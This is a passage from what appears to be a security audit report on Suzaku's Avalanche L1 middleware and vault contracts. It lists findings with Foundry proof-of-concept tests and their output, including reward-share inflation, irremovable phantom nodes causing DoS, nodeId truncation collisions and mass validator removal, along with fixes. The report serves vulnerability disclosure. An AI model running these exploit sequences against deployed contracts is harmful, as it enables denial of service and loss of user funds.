        vm.startPrank(owner);
        rewards.claimProtocolFee(address(rewardsToken), owner);
        vm.stopPrank();
    }

    // Deploy rewards contracts, mint tokens, assign roles, fund epochs -------
    function _setupRewards() internal {
        uptimeTracker = new MockUptimeTracker();
        rewards       = new Rewards();

        // initialise with fee splits & uptime threshold
        rewards.initialize(
            owner,                          // admin
            owner,                          // protocol fee recipient
            payable(address(middleware)),   // middleware (oracle)
            address(uptimeTracker),         // uptime oracle
            1000,                           // protocol   10%
            2000,                           // operators  20%
            1000,                           // curators   10%
            11_520                          // min uptime (seconds)
        );

        // set up roles -----------------------------------------------------
        vm.prank(owner);
        rewards.setRewardsManagerRole(REWARDS_MANAGER_ROLE);

        vm.prank(REWARDS_MANAGER_ROLE);
        rewards.setRewardsDistributorRole(REWARDS_DISTRIBUTOR_ROLE);

        // create & fund mock reward token ----------------------------------
        rewardsToken = new ERC20Mock();
        rewardsToken.mint(REWARDS_DISTRIBUTOR_ROLE, 1_000_000 * 1e18);
        vm.prank(REWARDS_DISTRIBUTOR_ROLE);
        rewardsToken.approve(address(rewards), 1_000_000 * 1e18);

        // schedule 10 epochs of 100 000 tokens each ------------------------
        vm.startPrank(REWARDS_DISTRIBUTOR_ROLE);
        rewards.setRewardsAmountForEpochs(1, 10, address(rewardsToken), 100_000 * 1e18);

        // 100 % of rewards go to the primary asset-class (id 1) ------------
        vm.startPrank(REWARDS_MANAGER_ROLE);
        rewards.setRewardsShareForAssetClass(1, 10000); // 10 000 bp == 100 %
        vm.stopPrank();
    }
}
```

Output:

```
Ran 1 test for test/middleware/PoCMissingLockingRewards.t.sol:PoCMissingLockingRewards
[PASS] test_PoCRewardsManipulated() (gas: 8408423)
Logs:
  Warping to a fresh epoch
  Creating 4 nodes for Alice with the same stake
  Creating 1 node for Charlie with the full stake
  Removing Alice's unbacked nodes at the earliest possible moment
  Advancing and caching stakes
  Marking everyone as fully up for the epoch
  Advancing 3 epochs so rewards can be distributed
  Distributing rewards
  Verifying that the share accounting exceeds 100 %
  Claiming rewards

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 5.83ms (2.29ms CPU time)

Ran 1 test suite in 133.94ms (5.83ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

Recommended Mitigation: * **Lock stake as soon as a node is created**

```
// inside addNode(), after newStake is finalised
operatorLockedStake[operator] += newStake;
```

Unlock (subtract) it in `_initializeEndValidationAndFlag()` and whenever `_initializeValidatorStakeUpdate()` lowers the node's stake.

Suzaku: Fixed in commit d3f80d9.

Cyfrin: Verified.

7.3.19 DoS on stake accounting functions by bloating `operatorNodesArray` with irremovable nodes

Description: When an operator removes a node the intended flow is:

1. `removeNode()` (middleware)
2. `calcAndCacheNodeStakeForAllOperators()` (called immediately or by the `updateGlobalNodeStakeOncePerEpoch` modifier)
   - branch runs:

     ```
     if (nodePendingRemoval[valID] && ...) {
         _removeNodeFromArray(operator,nodeId);
         nodePendingRemoval[valID] = false;
     }
     ```

   - the node is popped from `operatorNodesArray` and its `nodePendingRemoval` flag is cleared
3. `completeValidatorRemoval()` after the P-Chain confirmation arrives (warp message)

If steps 1 and 3 both happen **inside the same epoch** *after* that epoch's call to `calcAndCacheNodeStakeForAllOperators()`, we enter an inconsistent state:

- `completeValidatorRemoval()` executes `_completeEndValidation()` in **BalancerValidatorManager**, which deletes the mapping entry in `._registeredValidators`:

  ```
  delete $._registeredValidators[validator.nodeID];
  ```

- From now on, every call in the next epoch to

  ```
  bytes32 valID =
      balancerValidatorManager.registeredValidators(abi.encodePacked(uint160(uint256(nodeId))));
  ```

returns `bytes32(0)`.

During `_calcAndCacheNodeStakeForOperatorAtEpoch()` (epoch E + 1):

- `valID == bytes32(0)` so **both** `nodePendingRemoval[valID]` and `nodePendingUpdate[valID]` are `false`.
- The special removal branch is skipped, therefore `operatorNodesArray` **still contains the stale** `nodeId` forever.
- No other house-keeping step ever removes it, because the sentinel `valID` can no longer be reconstructed.

The node is now impossible to remove or update, Operators can repeat the sequence to add *unlimited* ghost nodes and inflate `operatorNodesArray`. All O(n) loops over that array (e.g. `forceUpdateNodes`, `_calcAndCacheNodeStakeForAllOperators`, many view helpers) grow without bound, eventually exhausting block gas or causing permanent **DoS** for that operator and, indirectly, for protocol-wide maintenance functions.

Impact: Oversized arrays make epoch-maintenance and stake-rebalance functions revert on out-of-gas. Stake updates, slashing, reward distributions and emergency withdrawals depending on them can be frozen.

Proof of Concept:

```
//
// PoC - "Phantom" / Irremovable Node
// Shows how a node can be removed *logically* on the P-Chain yet remain stuck
// inside `operatorNodesArray`, blowing up storage & breaking future logic.
//
import {AvalancheL1MiddlewareTest} from "./AvalancheL1MiddlewareTest.t.sol";
import {PChainOwner}               from
↪  "@avalabs/teleporter/validator-manager/interfaces/IValidatorManager.sol";
import {StakeConversion}           from "src/contracts/middleware/libraries/StakeConversion.sol";
import {console2}                  from "forge-std/console2.sol";

contract PoCIrremovableNode is AvalancheL1MiddlewareTest {

    /// Demonstrates *expected* vs *buggy* behaviour side-by-side
    function test_PoCIrremovableNode() public {

        //
        // 1)  NORMAL FLOW - node can be removed
        //
        console2.log("=== NORMAL FLOW ===");
        vm.startPrank(alice);

        // Create a fresh nodeId so it is unique for Alice
        bytes32 nodeId = keccak256(abi.encodePacked(alice, "node-A", block.timestamp));

        console2.log("Registering nodeA");
        middleware.addNode(
            nodeId,
            hex"ABABABAB",                          // dummy BLS key
            uint64(block.timestamp + 2 days),       // expiry
            PChainOwner({threshold: 1, addresses: new address[](0)}),
            PChainOwner({threshold: 1, addresses: new address[](0)}),
            100_000_000_000_000                     // stake
        );

        // Complete registration on the mock validator manager
        uint32 regMsgIdx = mockValidatorManager.nextMessageIndex() - 1;
        middleware.completeValidatorRegistration(alice, nodeId, regMsgIdx);
        console2.log("nodeA registered");

        // Length should now be 1
        assertEq(middleware.getOperatorNodesLength(alice), 1);
```

```
        // Initiate removal
        console2.log("Removing nodeA");
        middleware.removeNode(nodeId);

        vm.stopPrank();

        // Advance 1 epoch so stake caches roll over
        _calcAndWarpOneEpoch();

        // Confirm removal from P-Chain and complete it on L1
        uint32 rmMsgIdx = mockValidatorManager.nextMessageIndex() - 1;
        vm.prank(alice);
        middleware.completeValidatorRemoval(rmMsgIdx);
        console2.log("nodeA removal completed");

        // Now node array should be empty
        assertEq(middleware.getOperatorNodesLength(alice), 0);
        console2.log("NORMAL FLOW success: array length = 0\n");

        //
        // 2)  BUGGY FLOW - removal inside same epoch  phantom entry
        //
        console2.log("=== BUGGY FLOW (same epoch) ===");
        vm.startPrank(alice);

        // Re-use *same* nodeId to simulate quick re-registration
        console2.log("Registering nodeA in the SAME epoch");
        middleware.addNode(
            nodeId,                                 // same id!
            hex"ABABABAB",
            uint64(block.timestamp + 2 days),
            PChainOwner({threshold: 1, addresses: new address[](0)}),
            PChainOwner({threshold: 1, addresses: new address[](0)}),
            100_000_000_000_000
        );
        uint32 regMsgIdx2 = mockValidatorManager.nextMessageIndex() - 1;
        middleware.completeValidatorRegistration(alice, nodeId, regMsgIdx2);
        console2.log("nodeA (second time) registered");

        // Expect length == 1 again
        assertEq(middleware.getOperatorNodesLength(alice), 1);

        // Remove immediately
        console2.log("Immediately removing nodeA again");
        middleware.removeNode(nodeId);

        // Complete removal *still inside the same epoch* (simulating fast warp msg)
        uint32 rmMsgIdx2 = mockValidatorManager.nextMessageIndex() - 1;
        middleware.completeValidatorRemoval(rmMsgIdx2);
        console2.log("nodeA (second time) removal completed");

        vm.stopPrank();

        // Advance to next epoch
        _calcAndWarpOneEpoch();

        // BUG: array length is STILL 1 → phantom node stuck forever
        uint256 lenAfter = middleware.getOperatorNodesLength(alice);
        assertEq(lenAfter, 1, "Phantom node should remain");

        console2.log("BUGGY FLOW reproduced: node is irremovable.");
    }
```

```
}
```

Output

```
Ran 1 test for test/middleware/PoCIrremovableNode.t.sol:PoCIrremovableNode
[PASS] test_PoCIrremovableNode() (gas: 1138657)
Logs:
  === NORMAL FLOW ===
  Registering nodeA
  nodeA registered
  Removing nodeA
  nodeA removal completed
  NORMAL FLOW success: array length = 0

  === BUGGY FLOW (same epoch) ===
  Registering nodeA in the SAME epoch
  nodeA (second time) registered
  Immediately removing nodeA again
  nodeA (second time) removal completed
  BUGGY FLOW reproduced: node is irremovable.

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.31ms (789.96µs CPU time)

Ran 1 test suite in 158.79ms (4.31ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

Before running the PoC make sure to add the following line to the `MockBalancerValidatorManager::completeEndValidation` since it exists in the `BalancerValidatorManager` implementation:

```
    function completeEndValidation(
        uint32 messageIndex
    ) external override {
        ...
        ...
        // Clean up
        delete pendingRegistrationMessages[messageIndex];
        delete pendingTermination[validationID];
+       delete _registeredValidators[validator.nodeID];
    }
```

- completeValidatorRemoval

Recommended Mitigation: Track pending removals by `nodeId`, not by `validationID`, or store an auxiliary mapping `nodeId  validationID` before deletion so the middleware can still correlate them after `_registeredValidators` is cleared.

Suzaku: Fixed in commit d4d2df7.

Cyfrin: Verified.

7.4 Low Risk

7.4.1 Missing zero-address validation for burner address during initialization can break slashing

Description: The VaultTokenized contract's initialization procedure fails to validate that the burner parameter is a non-zero address. However, the `onSlash` function uses SafeERC20's `safeTransfer` to send tokens to this address, which will revert for most ERC20 implementations if the recipient is address(0).

```
// In _initialize:
vs.burner = params.burner; // No validation that params.burner != address(0)

// In onSlash:
if (slashedAmount > 0) {
    IERC20(vs.collateral).safeTransfer(vs.burner, slashedAmount); // Will revert if vs.burner is
    ↪  address(0)
}
```

While other critical parameters like collateral are validated against the zero address, the burner parameter lacks this check despite its importance in the slashing flow.

Impact: Setting burner to `address(0)` would break a core security function (slashing)

Recommended Mitigation: Consider adding a zero-address validation for the burner parameter during initialization.

Suzaku: Fixed in commit 4683ab8.

Cyfrin: Verified.

7.4.2 `BaseDelegator` is not using upgradeable version of `ERC165`

Description: The `BaseDelegator` contract currently inherits from the non-upgradeable version of ERC165. This could limit the contract's ability to adapt to future upgrades or modifications of the ERC165 interface, potentially impacting the contract's upgradability and compatibility with other upgradeable contracts. This can lead to issues, as the non-upgradeable version does not have the necessary initializers and storage gap reserved for upgradeable contracts.

Impact: Using the non-upgradeable `ERC165` in an otherwise upgradeable contract (`BaseDelegator`) introduces a risk of incompatibility with future upgrades.

Recommended Mitigation: Make the following change to the `BaseDelagator`

```
- abstract contract BaseDelegator is AccessControlUpgradeable, ReentrancyGuardUpgradeable,
↪  IBaseDelegator, ERC165 {
+ abstract contract BaseDelegator is AccessControlUpgradeable, ReentrancyGuardUpgradeable,
↪  IBaseDelegator, ERC165Upgradeable {
    using ERC165Checker for address;
```

Suzaku: Acknowledged.

Cyfrin: Acknowledged.

7.4.3 Vault limit cannot be modified if vault Is already enabled

Description

The `updateVaultMaxL1Limit` function reverts with `MapWithTimeData__AlreadyEnabled` when attempting to increase or decrease the vault limit if the vault is already enabled. This behavior occurs due to the call to `vaults.enable(vault)` within the function, which fails when the vault is already in an enabled state.

```
function updateVaultMaxL1Limit(address vault, uint96 assetClassId, uint256 vaultMaxL1Limit) external
↪  onlyOwner {
    if (!vaults.contains(vault)) {
```

```
            revert AvalancheL1Middleware__NotVault(vault);
        }
        if (vaultToAssetClass[vault] != assetClassId) {
            revert AvalancheL1Middleware__WrongVaultAssetClass();
        }

        _setVaultMaxL1Limit(vault, assetClassId, vaultMaxL1Limit);

        if (vaultMaxL1Limit == 0) {
            vaults.disable(vault);
        } else {
            vaults.enable(vault);
        }
    }
```

Impact

Calling `updateVaultMaxL1Limit` with a non-zero `vaultMaxL1Limit` for an already-enabled vault results in a revert, breaking the expected behavior. The current design requires the vault to be explicitly disabled before setting a new non-zero limit and enabling it again. This workflow is unintuitive and introduces unnecessary friction for the contract owner or administrator.

Proof of Concept

The following test will fail due to the described behavior. Add it to the `AvalancheL1MiddlewareTest`:

```
function testUpdateVaultMaxL1Limit() public {
    vm.startPrank(validatorManagerAddress);

    // Attempt to update to a new non-zero limit while vault is already enabled
    vaultManager.updateVaultMaxL1Limit(address(vault), 1, 500 ether);

    vm.stopPrank();
}
```

Recommended Mitigation

Consider modifying the logic inside `updateVaultMaxL1Limit` to check the current enabled state before attempting to enable or disable. Only call `vaults.enable(vault)` or `vaults.disable(vault)` if there is an actual state transition.

Suzaku: Fixed in commit a9f6aaa.

Cyfrin: Verified.

7.4.4 Incorrect vault status determination in `MiddlewareVaultManager`

Description: The `MiddlewareVaultManager::_wasActiveAt()` determines whether a vault was active at a specific timestamp. This function is used by the `getVaults()` method to filter active vaults for a given epoch.

The current implementation of `_wasActiveAt()` incorrectly considers a vault to be active at the exact timestamp when it was disabled. The function returns true when:

- The vault has been enabled (enabledTime != 0)
- The vault was enabled at or before the timestamp (enabledTime <= timestamp)
- AND EITHER: - The vault was never disabled (disabledTime == 0) OR - The vault's disabled timestamp is greater than or equal to the query timestamp (disabledTime >= timestamp)

```
// Current implementation
function _wasActiveAt(uint48 enabledTime, uint48 disabledTime, uint48 timestamp) private pure returns
↪  (bool) {
```

```
    return enabledTime != 0 && enabledTime <= timestamp && (disabledTime == 0 || disabledTime >=
    ↪  timestamp);
}
```

The issue is with the third condition (`disabledTime >= timestamp`). This logic means that a vault disabled exactly at the timestamp being queried (e.g., at the start of an epoch) would still be considered active for that epoch, which is counterintuitive. Typically, when an entity is disabled at a specific timestamp, it should be considered inactive from that timestamp forward.

Impact: Vaults disabled exactly at an epoch boundary to be incorrectly included as active in that epoch.

Recommended Mitigation: Consider modifying the `_wasActiveAt()` function to use a strict inequality for the disablement check.

Suzaku: Fixed in commit 9bbbcfc.

Cyfrin: Verified.

7.4.5 Missing validation for zero `epochDuration` in AvalancheL1Middleware can break epoch based accounting

Description: `AvalancheL1Middleware::EPOCH_DURATION` is an immutable parameter set in the constructor. The current implementation only checks that `slashingWindow` is not less than `epochDuration` but doesn't verify that `epochDuration` itself is greater than zero.

```
constructor(
    AvalancheL1MiddlewareSettings memory settings,
    address owner,
    address primaryAsset,
    uint256 primaryAssetMaxStake,
    uint256 primaryAssetMinStake,
    uint256 primaryAssetWeightScaleFactor
) AssetClassRegistry(owner) {
    // Other validations...

    if (settings.slashingWindow < settings.epochDuration) {
        revert AvalancheL1Middleware__SlashingWindowTooShort(settings.slashingWindow,
        ↪  settings.epochDuration);
    }

    //@audit No check for zero epochDuration!

    START_TIME = Time.timestamp();
    EPOCH_DURATION = settings.epochDuration;
    // Other assignments...
}
```

The check `settings.slashingWindow < settings.epochDuration` will pass as long as slashingWindow is also zero.

Impact: Contract functions such as `getEpochAtTs` rely on division by EPOCH_DURATION, which would cause divide-by-zero errors.

Recommended Mitigation: Consider adding an explicit validation check for the `epochDuration` parameter in the constructor.

Suzaku: Acknowledged.

Cyfrin: Acknowledged.

7.4.6 Insufficient update window validation can cause denial of service in `forceUpdateNodes`

Description: The `AvalancheL1Middleware` constructor fails to validate that the `UPDATE_WINDOW` parameter is less than the `EPOCH_DURATION`. This validation is critically important because the `onlyDuringFinalWindowOfEpoch` modifier, which is essential for stake management functionality, will permanently revert if `UPDATE_WINDOW` is greater than or equal to `EPOCH_DURATION`.

The `onlyDuringFinalWindowOfEpoch` modifier works by enforcing that a function can only be called during a specific time window at the end of an epoch:

```
modifier onlyDuringFinalWindowOfEpoch() {
    uint48 currentEpoch = getCurrentEpoch();
    uint48 epochStartTs = getEpochStartTs(currentEpoch);
    uint48 timeNow = Time.timestamp();
    uint48 epochUpdatePeriod = epochStartTs + UPDATE_WINDOW;

    if (timeNow < epochUpdatePeriod || timeNow > epochStartTs + EPOCH_DURATION) { //@audit always
    ↪  reverts if UPDATE_WINDOW >= EPOCH_DURATION
        revert AvalancheL1Middleware__NotEpochUpdatePeriod(timeNow, epochUpdatePeriod);
    }
    _;
}
```

The modifier creates a valid execution window only when:

- `timeNow >= epochStartTs + UPDATE_WINDOW` (after the update window starts)
- `timeNow <= epochStartTs + EPOCH_DURATION` (before the epoch ends)

For this window to exist, `UPDATE_WINDOW` must be less than `EPOCH_DURATION`.

The constructor currently only validates that `slashingWindow` is not less than `epochDuration` but lacks a check for the `UPDATE_WINDOW`:

```
constructor(
    AvalancheL1MiddlewareSettings memory settings,
    // other parameters...
) AssetClassRegistry(owner) {
    // other checks...

    if (settings.slashingWindow < settings.epochDuration) {
        revert AvalancheL1Middleware__SlashingWindowTooShort(settings.slashingWindow,
        ↪  settings.epochDuration);
    }

    // @audit No validation for UPDATE_WINDOW relation to EPOCH_DURATION

    // Initializations...
    EPOCH_DURATION = settings.epochDuration;
    UPDATE_WINDOW = settings.stakeUpdateWindow;
    // other initializations...
}
```

Since both `EPOCH_DURATION` and `UPDATE_WINDOW` are set as immutable variables, this issue cannot be corrected after deployment.

Impact: The `forceUpdateNodes()` function will be permanently unusable since it's protected by the `onlyDuringFinalWindowOfEpoch` modifier

Recommended Mitigation: Consider adding an explicit validation in the constructor to ensure that `UPDATE_WINDOW> 0 && UPDATE_WINDOW < EPOCH_DURATION`. Additionally, consider adding a comment clearly explaining the relationship between these time parameters to help prevent configuration errors:

```
/**
 * @notice Required relationship between time parameters:
 * 0 < UPDATE_WINDOW < EPOCH_DURATION <= SLASHING_WINDOW
 */
```

Suzaku: Fixed in commit 4f9d52a.

Cyfrin: Verified.

7.4.7 Disabled operators can register new validator nodes

Description: The `AvalancheL1Middleware::addNode` function allows an operator to register a new node if msg.sender is included in the operators list. However, there is a potential issue with how the operator lifecycle is handled: before an operator is permanently removed via removeOperator, it must first be placed into a "disabled" state using disableOperator.

The problem arises because the addNode function does not check whether the operator is in a disabled state—it only checks for existence in the operators set. As a result, a disabled operator can still call addNode, even though operationally they are expected to be inactive during this period.

Impact: A disabled operator can continue to register new validator nodes via addNode, despite being in a state that should preclude them from performing such actions.

Recommended Mitigation: Update the addNode function to also check whether the operator is enabled, not just registered:

```
(, uint48 disabledTime) = operators.getTimes(operator);
+if (!operators.contains(operator) || disabledTime > 0 ) {
-if (!operators.contains(operator)) {
    revert AvalancheL1Middleware__OperatorNotActive(operator);
}
```

Suzaku: Fixed in commit 0e0d4ae.

Cyfrin: Verified.

7.4.8 Hardcoded gas limit for hook in `onSlash` may cause reverts

Description: The `onSlash` function in the `BaseDelegator` contract conditionally invokes a hook via a low-level `call` if a hook address is set:

```
assembly ("memory-safe") {
    pop(call(HOOK_GAS_LIMIT, hook_, 0, add(calldata_, 0x20), mload(calldata_), 0, 0))
}
```

This call uses a **hardcoded gas limit (`HOOK_GAS_LIMIT`)**, and the function enforces that at least `HOOK_RESERVE + HOOK_GAS_LIMIT * 64 / 63` gas is available before proceeding. If this requirement is not met, the function reverts with `BaseDelegator__InsufficientHookGas`.

This rigid gas enforcement introduces a fragility: if the hook's execution requires more gas than allocated by `HOOK_GAS_LIMIT`, the `call` may silently fail or the transaction may revert entirely.

Impact: Hooks that require more gas than the hardcoded limit will consistently fail, potentially breaking integrations.

As protocol complexity grows, hardcoded gas limits become brittle and may hinder composability or future extensions.

Recommendation:

Consider introducing a mechanism for the hook gas limit to be configured by the contract owner.

Suzaku: Acknowledged.

Cyfrin: Acknowledged.

7.4.9 `NodeId` truncation can potentially cause validator registration denial of service

Description: `AvalancheL1Middleware::addNode` function truncates 32-byte `nodeId` to 20-bytes when checking validator registration status. This truncation occurs when interacting with the `BalancerValidatorManager`.

```
// AvalancheL1Middleware.sol
bytes32 valId = balancerValidatorManager.registeredValidators(
    abi.encodePacked(uint160(uint256(nodeId)))  // Truncates 32 bytes to 20 bytes
);
```

`uint160(uint256(nodeId))` discards the first 12 bytes of the `nodeId` before passing it to `BalancerValidatorManager::registeredValidators()`. However, the `ValidatorManager.registeredValidators()` function is designed to work with full bytes nodeId without any truncation.

Impact: Operators cannot register validators if another validator with a colliding truncated nodeId already exists

Proof of Concept: Run the following test in `AvalancheL1MiddlewareTest.t.sol`

```
function test_NodeIdCollisionVulnerability() public {
    uint48 epoch = _calcAndWarpOneEpoch();

    // Create two different nodeIds that have the same first 20 bytes
    bytes32 nodeId1 = 0x0000000000000000000000001234567890abcdef1234567890abcdef12345678;
    bytes32 nodeId2 = 0xFFFFFFFFFFFFFFFFFFFFFFFF1234567890abcdef1234567890abcdef12345678;

    // share same first 20 bytes when truncated
    bytes memory truncated1 = abi.encodePacked(uint160(uint256(nodeId1)));
    bytes memory truncated2 = abi.encodePacked(uint160(uint256(nodeId2)));
    assertEq(keccak256(truncated1), keccak256(truncated2), "Truncated nodeIds should be identical");


    // Alice adds the first node
    vm.prank(alice);
    middleware.addNode(
                nodeId1,
                hex"ABABABAB", // dummy BLS
                uint64(block.timestamp + 2 days),
                PChainOwner({threshold: 1, addresses: new address[](1)}),
                PChainOwner({threshold: 1, addresses: new address[](1)}),
                100_000_000_001_000
            );

    // Verify first node was registered
    bytes32 validationId1 = mockValidatorManager.registeredValidators(truncated1);
    assertNotEq(validationId1, bytes32(0), "First node should be registered");

    // Alice tries to add the second node with different nodeId but same truncated bytes
    // This should fail due to collision
    vm.prank(alice);
    vm.expectRevert();
    middleware.addNode(
                nodeId2,
                hex"ABABABAB", // dummy BLS
                uint64(block.timestamp + 2 days),
                PChainOwner({threshold: 1, addresses: new address[](1)}),
                PChainOwner({threshold: 1, addresses: new address[](1)}),
                100_000_000_001_000
            );
```

```
}
```

Recommended Mitigation: Consider removing the forced truncation to 20 bytes

Suzaku: Acknowledged.

Cyfrin: Acknowledged.

7.4.10 Unbounded weight scale factor causes precision loss in stake conversion, potentially leading to loss of operator funds

Description: The `AvalancheL1Middleware` uses a `WEIGHT_SCALE_FACTOR` to convert between 256-bit stake amounts and 64-bit validator weights for the P-Chain. However, there are no bounds on this scale factor, and an inappropriately high value can cause precision loss.

The conversion process works as follows:

`stakeToWeight(): weight = stakeAmount / scaleFactor  weightToStake(): recoveredStake = weight * scaleFactor`

When `WEIGHT_SCALE_FACTOR` is too high relative to stake amounts, the division in `stakeToWeight()` truncates to zero, making the stake effectively unusable.

Impact: Weight recorded for validator can be 0 due to precision loss.

Recommended Mitigation: Consider implementing reasonable maximum bounds in the constructor.

Suzaku: Fixed in commit b38dfed.

Cyfrin: Verified.

7.4.11 `remainingBalanceOwner` should be set by the protocol owner

Description: The `remainingBalanceOwner` parameter, passed during the invocation of the `addNode` function, is intended to represent the P-Chain owner address that will receive any leftover `$AVAX` from a validator's balance when the validator is removed from the validator set. Currently, this value is provided by the operator invoking `addNode`.

However, from a protocol security and correctness perspective, the assignment of `remainingBalanceOwner` should not be left to the operator. Instead, this should be determined and configured by the protocol itself to prevent wrong party receiving leftover funds.

Example snippet from the function signature:

```
function addNode(
        bytes32 nodeId,
        bytes calldata blsKey,
        uint64 registrationExpiry,
        PChainOwner calldata remainingBalanceOwner, // should be passed by the protocol
        PChainOwner calldata disableOwner,
        uint256 stakeAmount // optional
    ) external updateStakeCache(getCurrentEpoch(), PRIMARY_ASSET_CLASS)
    ↪  updateGlobalNodeStakeOncePerEpoch {
```

Impact: Misrouting of leftover $AVAX funds upon validator removal, potentially enabling loss of funds for the stakers.

Recommended Mitigation: Modify the protocol to internally assign the `remainingBalanceOwner` during the `addNode` operation, removing this parameter from operator input.

```
function addNode(
        bytes32 nodeId,
        bytes calldata blsKey,
```

```
        uint64 registrationExpiry,
-        PChainOwner calldata remainingBalanceOwner,
        PChainOwner calldata disableOwner,
        uint256 stakeAmount // optional
    ) external updateStakeCache(getCurrentEpoch(), PRIMARY_ASSET_CLASS)
    ↪  updateGlobalNodeStakeOncePerEpoch {

}
```

Suzaku: Acknowledged.

Cyfrin: Acknowledged.

7.4.12 `forceUpdateNodes` potentially enables mass validator removal when new asset classes are added

Description: If `_requireMinSecondaryAssetClasses` is false, ie. the operator does not have minimum value of secondary asset, the validator is forcibly removed, regardless of whether the primary asset stake is above the minimum stake or not.

```
function forceUpdateNodes(
    address operator,
    uint256 limitStake
) external updateStakeCache(getCurrentEpoch(), PRIMARY_ASSET_CLASS) onlyDuringFinalWindowOfEpoch
↪  updateGlobalNodeStakeOncePerEpoch {
    // ... validation and setup code ...

    // ... stake calculation logic ...

        uint256 newStake = previousStake - stakeToRemove;
        leftoverStake -= stakeToRemove;

        if (
            (newStake < assetClasses[PRIMARY_ASSET_CLASS].minValidatorStake)
            || !_requireMinSecondaryAssetClasses(0, operator)  // @audit || operator used here
        ) {
            newStake = 0;
            _initializeEndValidationAndFlag(operator, valID, nodeId);  // Node removed
        } else {
            _initializeValidatorStakeUpdate(operator, valID, newStake);
            emit NodeStakeUpdated(operator, nodeId, newStake, valID);
        }
    }
}
```

When a new secondary asset class is activated by owner via `activateSecondaryAssetClass()`, it is likely that existing operators initially have zero stake in that asset class, causing `_requireMinSecondaryAssetClasses` to return false.

Consider following scenario:

- Owner calls `activateSecondaryAssetClass(newAssetClassId)` without ensuring every operator meets the minimum stake requirement for new asset class
- Attacker calls `forceUpdateNodes(operator, 0)` for all operators during the immediate next update window
- Assuming a rebalancing scenario, all validator nodes for non-compliant operator get removed because `_requireMinSecondaryAssetClasses` returns false for the new asset class

Impact: Mass removal of validators for a given operator leads to unnecessary loss of rewards and an expensive process to re-register nodes.

Proof of Concept: Add to `AvalancheL!MiddlewareTest.t.sol`

```
function test_massNodeRemovalAttack() public {
    // Alice already has substantial stake from setup: 200_000_000_002_000
    // Let's verify the initial state
    uint48 epoch = _calcAndWarpOneEpoch();

    uint256 aliceInitialStake = middleware.getOperatorStake(alice, epoch, assetClassId);
    console2.log("Alice's initial stake:", aliceInitialStake);
    assertGt(aliceInitialStake, 0, "Alice should have initial stake from setup");

    // Create 3 nodes with Alice's existing stake
    (bytes32[] memory nodeIds,,) = _createAndConfirmNodes(alice, 3, 0, true);
    epoch = _calcAndWarpOneEpoch();

    // Verify nodes are active
    assertEq(middleware.getOperatorNodesLength(alice), 3, "Should have 3 active nodes");
    uint256 usedStake = middleware.getOperatorUsedStakeCached(alice);
    console2.log("Used stake after creating nodes:", usedStake);


    // 1: Owner adds new secondary asset class
    ERC20Mock newAsset = new ERC20Mock();
    vm.startPrank(validatorManagerAddress);
    middleware.addAssetClass(5, 1000 ether, 10000 ether, address(newAsset));
    middleware.activateSecondaryAssetClass(5);
    vm.stopPrank();

    // 2: Reduce Alice's available stake to trigger rebalancing
    // Use the existing mintedShares from setup
    uint256 originalShares = mintedShares; // From setup
    uint256 reducedShares = originalShares / 3; // Drastically reduce

    _setOperatorL1Shares(bob, validatorManagerAddress, assetClassId, alice, reducedShares, delegator);
    epoch = _calcAndWarpOneEpoch();

    // Verify rebalancing condition: newStake < usedStake
    uint256 newStake = middleware.getOperatorStake(alice, epoch, assetClassId);
    uint256 currentUsedStake = middleware.getOperatorUsedStakeCached(alice);
    console2.log("New available stake:", newStake);
    console2.log("Current used stake:", currentUsedStake);
    assertTrue(newStake < currentUsedStake, "Should trigger rebalancing");

    // 3: Exploit during force update window
    _warpToLastHourOfCurrentEpoch();

    uint256 nodesBefore = middleware.getOperatorNodesLength(alice);

    // The vulnerability: OR logic causes removal even for nodes with adequate individual stake
    middleware.forceUpdateNodes(alice, 1); // using 1 wei as limit to trigger the issue

    epoch = _calcAndWarpOneEpoch();
    uint256 nodesAfter = middleware.getOperatorNodesLength(alice);

    console2.log("Nodes before attack:", nodesBefore);
    console2.log("Nodes after attack:", nodesAfter);

    // All nodes removed due to OR logic
    assertEq(nodesAfter, 0, "All nodes should be removed due to mass removal attack");
}
```

Recommended Mitigation: Consider adding a delay of atleast 1 epoch before minimum stake requirement is enforced on existing operators.

Since `forceUpdateNodes` is a public function that can trigger mass removal of validators, it would be dangerous to only rely on admin/owner to ensure every existing operator is compliant before adding a new secondary asset.

Suzaku: Acknowledged.

Cyfrin: Acknowledged.

7.4.13 Overpayment vulnerability in `registerL1`

Description: The `registerL1` function in the `L1Registry` contract does not handle excess Ether sent by users. If the `registerFee` is set to a nonzero value and a user sends more Ether than required, the contract keeps the entire amount instead of refunding the excess. If the `registerFee` is set to zero and a user sends Ether, that Ether becomes trapped in the contract with no way for the user to recover it, as there is no refund logic or withdrawal path for arbitrary senders.

Impact: Users can unintentionally lose funds by sending more Ether than required for registration. In the case where `registerFee` is zero, any Ether sent is permanently locked in the contract, as only the fee collector can withdraw accumulated fees, and only if they were tracked as unclaimed fees. This can lead to user frustration and loss of funds due to simple mistakes or misunderstandings about the required payment.

Recommended Mitigation: Implement logic in the `registerL1` function to refund any excess Ether sent above the required `registerFee`. For example, after transferring the required fee to the collector, track any remaining balance for the sender. Additionally, if `registerFee` is zero, revert the transaction if any Ether is sent, preventing accidental loss of funds.

Suzaku: Fixed in commit 1c4cfe6.

Cyfrin: Verified.

7.5 Informational

7.5.1 Wrong revert reason In `onSlash` functionality

Description: In the `onSlash` function of `VaultTokenized`, the following check is used to validate the `captureEpoch` parameter:

```
if ((currentEpoch_ > 0 && captureEpoch < currentEpoch_ - 1) || captureEpoch > currentEpoch_) {
    revert Vault__InvalidCaptureEpoch();
}
```

If `currentEpoch_` is 0, the expression `captureEpoch < currentEpoch_ - 1` will underflow, since `currentEpoch_ - 1` becomes less than 0. This will cause the check to revert with a generic arithmetic error instead of the intended custom error.

Impact: If `currentEpoch_` is 0, calling `onSlash` will cause an underflow in the comparison, resulting in a revert with a generic arithmetic error rather than the intended `Vault__InvalidCaptureEpoch` error. This can make debugging more difficult and may lead to unexpected behavior for callers.

Recommended Mitigation: Update the condition to avoid underflow by checking:

```
if ((currentEpoch_ > 0 && captureEpoch + 1 < currentEpoch_) || captureEpoch > currentEpoch_) {
    revert Vault__InvalidCaptureEpoch();
}
```

This ensures the check is safe for all values of `currentEpoch_` and always reverts with the correct custom error when the input is invalid.

Suzaku: Fixed in commit b654dfb.

Cyfrin: Verified.

7.6 Gas Optimization

